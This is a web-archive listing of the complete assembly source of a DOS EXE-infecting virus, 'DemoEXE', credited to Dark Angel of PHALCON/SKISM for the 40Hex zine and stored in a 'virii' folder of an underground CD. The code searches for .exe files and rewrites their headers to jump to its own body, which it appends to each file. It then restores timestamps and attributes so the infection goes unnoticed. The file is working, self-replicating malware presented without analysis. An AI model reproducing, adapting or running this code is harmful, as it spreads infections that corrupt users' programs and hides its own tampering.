home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.1 KB  |  188 lines

  1.  
  2.  
  3.   .model tiny                             ; Handy TASM directive
  4.  
  5.   .code                                   ; Virus code segment
  6.  
  7.         org 100h                      ; COM file starting IP
  8.  
  9.   ; Cheesy EXE infector
  10.  
  11.   ; Written by Dark Angel of PHALCON/SKISM
  12.  
  13.   ; For 40Hex Number 8 Volume 2 Issue 4
  14.  
  15.   id = 'DA'                               ; ID word for EXE infections
  16.  
  17.   
  18.  
  19.   startvirus:                             ; virus code starts here
  20.  
  21.         call next                     ; calculate delta offset
  22.  
  23.   next:     pop  bp                       ; bp = IP next
  24.  
  25.         sub  bp,offset next           ; bp = delta offset
  26.  
  27.   
  28.  
  29.         push ds
  30.  
  31.         push es
  32.  
  33.         push cs                       ; DS = CS
  34.  
  35.         pop  ds
  36.  
  37.         push cs                       ; ES = CS
  38.  
  39.         pop  es
  40.  
  41.         lea  si,[bp+jmpsave2]
  42.  
  43.         lea  di,[bp+jmpsave]
  44.  
  45.         movsw
  46.  
  47.         movsw
  48.  
  49.         movsw
  50.  
  51.         movsw
  52.  
  53.   
  54.  
  55.         mov  ah,1Ah                   ; Set new DTA
  56.  
  57.         lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  58.  
  59.         int  21h
  60.  
  61.   
  62.  
  63.         lea  dx,[bp+exe_mask]
  64.  
  65.         mov  ah,4eh                   ; find first file
  66.  
  67.         mov  cx,7                     ; any attribute
  68.  
  69.   findfirstnext:
  70.  
  71.         int  21h                      ; DS:DX points to mask
  72.  
  73.         jc   done_infections          ; No mo files found
  74.  
  75.   
  76.  
  77.         mov  al,0h                    ; Open read only
  78.  
  79.         call open
  80.  
  81.   
  82.  
  83.         mov  ah,3fh                   ; Read file to buffer
  84.  
  85.         lea  dx,[bp+buffer]           ; @ DS:DX
  86.  
  87.         mov  cx,1Ah                   ; 1Ah bytes
  88.  
  89.         int  21h
  90.  
  91.   
  92.  
  93.         mov  ah,3eh                   ; Close file
  94.  
  95.         int  21h
  96.  
  97.   
  98.  
  99.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  100.  
  101.         jnz  infect_exe
  102.  
  103.   find_next:
  104.  
  105.         mov  ah,4fh                   ; find next file
  106.  
  107.         jmp  short findfirstnext
  108.  
  109.   done_infections:
  110.  
  111.         mov  ah,1ah                   ; restore DTA to default
  112.  
  113.         mov  dx,80h                   ; DTA in PSP
  114.  
  115.         pop  es
  116.  
  117.         pop  ds                       ; DS->PSP
  118.  
  119.         int  21h
  120.  
  121.         mov  ax,es                    ; AX = PSP segment
  122.  
  123.         add  ax,10h                   ; Adjust for PSP
  124.  
  125.         add  word ptr cs:[si+jmpsave+2],ax
  126.  
  127.         add  ax,word ptr cs:[si+stacksave+2]
  128.  
  129.         cli                           ; Clear intrpts for stack manip.
  130.  
  131.         mov  sp,word ptr cs:[si+stacksave]
  132.  
  133.         mov  ss,ax
  134.  
  135.         sti
  136.  
  137.         db   0eah                     ; jmp ssss:oooo
  138.  
  139.   jmpsave             dd ?                ; Original CS:IP
  140.  
  141.   stacksave           dd ?                ; Original SS:SP
  142.  
  143.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  144.  
  145.   stacksave2          dd ?
  146.  
  147.   
  148.  
  149.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  150.  
  151.   virusname           db '[DemoEXE] for 40Hex',0
  152.  
  153.   
  154.  
  155.   infect_exe:
  156.  
  157.         les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  158.  
  159.         mov  word ptr [bp+jmpsave2], ax
  160.  
  161.         mov  word ptr [bp+jmpsave2+2], es
  162.  
  163.   
  164.  
  165.         les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  166.  
  167.         mov  word ptr [bp+stacksave2], es
  168.  
  169.         mov  word ptr [bp+stacksave2+2], ax
  170.  
  171.   
  172.  
  173.         mov  ax, word ptr [bp+buffer + 8] ; Get header size
  174.  
  175.         mov  cl, 4                        ; convert to bytes
  176.  
  177.         shl  ax, cl
  178.  
  179.         xchg ax, bx
  180.  
  181.   
  182.  
  183.         les  ax, [bp+offset newDTA+26]; Get file size
  184.  
  185.         mov  dx, es                   ; to DX:AX
  186.  
  187.         push ax
  188.  
  189.         push dx
  190.  
  191.   
  192.  
  193.         sub  ax, bx                   ; Subtract header size from
  194.  
  195.         sbb  dx, 0                    ; file size
  196.  
  197.   
  198.  
  199.         mov  cx, 10h                  ; Convert to segment:offset
  200.  
  201.         div  cx                       ; form
  202.  
  203.   
  204.  
  205.         mov  word ptr [bp+buffer+14h], dx ; New entry point
  206.  
  207.         mov  word ptr [bp+buffer+16h], ax
  208.  
  209.   
  210.  
  211.         mov  word ptr [bp+buffer+0Eh], ax ; and stack
  212.  
  213.         mov  word ptr [bp+buffer+10h], id
  214.  
  215.   
  216.  
  217.         pop  dx                       ; get file length
  218.  
  219.         pop  ax
  220.  
  221.   
  222.  
  223.         add  ax, heap-startvirus      ; add virus size
  224.  
  225.         adc  dx, 0
  226.  
  227.   
  228.  
  229.         mov  cl, 9                    ; 2**9 = 512
  230.  
  231.         push ax
  232.  
  233.         shr  ax, cl
  234.  
  235.         ror  dx, cl
  236.  
  237.         stc
  238.  
  239.         adc  dx, ax                   ; filesize in pages
  240.  
  241.         pop  ax
  242.  
  243.         and  ah, 1                    ; mod 512
  244.  
  245.   
  246.  
  247.         mov  word ptr [bp+buffer+4], dx ; new file size
  248.  
  249.         mov  word ptr [bp+buffer+2], ax
  250.  
  251.   
  252.  
  253.         push cs                       ; restore ES
  254.  
  255.         pop  es
  256.  
  257.   
  258.  
  259.         mov  cx, 1ah
  260.  
  261.   finishinfection:
  262.  
  263.         push cx                       ; Save # bytes to write
  264.  
  265.         xor  cx,cx                    ; Clear attributes
  266.  
  267.         call attributes               ; Set file attributes
  268.  
  269.   
  270.  
  271.         mov  al,2
  272.  
  273.         call open
  274.  
  275.   
  276.  
  277.         mov  ah,40h                   ; Write to file
  278.  
  279.         lea  dx,[bp+buffer]           ; Write from buffer
  280.  
  281.         pop  cx                       ; cx bytes
  282.  
  283.         int  21h
  284.  
  285.   
  286.  
  287.         mov  ax,4202h                 ; Move file pointer
  288.  
  289.         xor  cx,cx                    ; to end of file
  290.  
  291.         cwd                           ; xor dx,dx
  292.  
  293.         int  21h
  294.  
  295.   
  296.  
  297.         mov  ah,40h                   ; Concatenate virus
  298.  
  299.         lea  dx,[bp+startvirus]
  300.  
  301.         mov  cx,heap-startvirus       ; # bytes to write
  302.  
  303.         int  21h
  304.  
  305.   
  306.  
  307.         mov  ax,5701h                 ; Restore creation date/time
  308.  
  309.         mov  cx,word ptr [bp+newDTA+16h] ; time
  310.  
  311.         mov  dx,word ptr [bp+newDTA+18h] ; date
  312.  
  313.         int  21h
  314.  
  315.   
  316.  
  317.         mov  ah,3eh                   ; Close file
  318.  
  319.         int  21h
  320.  
  321.   
  322.  
  323.         mov ch,0
  324.  
  325.         mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  326.  
  327.         call attributes                 ; attributes
  328.  
  329.   
  330.  
  331.   mo_infections: jmp find_next
  332.  
  333.   
  334.  
  335.   open:
  336.  
  337.         mov  ah,3dh
  338.  
  339.         lea  dx,[bp+newDTA+30]        ; filename in DTA
  340.  
  341.         int  21h
  342.  
  343.         xchg ax,bx
  344.  
  345.         ret
  346.  
  347.   
  348.  
  349.   attributes:
  350.  
  351.         mov  ax,4301h                 ; Set attributes to cx
  352.  
  353.         lea  dx,[bp+newDTA+30]        ; filename in DTA
  354.  
  355.         int  21h
  356.  
  357.         ret
  358.  
  359.   
  360.  
  361.   exe_mask            db '*.exe',0
  362.  
  363.   heap:                                   ; Variables not in code
  364.  
  365.   newDTA              db 42 dup (?)       ; Temporary DTA
  366.  
  367.   buffer              db 1ah dup (?)      ; read buffer
  368.  
  369.   endheap:                                ; End of virus
  370.  
  371.   
  372.  
  373.   end       startvirus
  374.  
  375.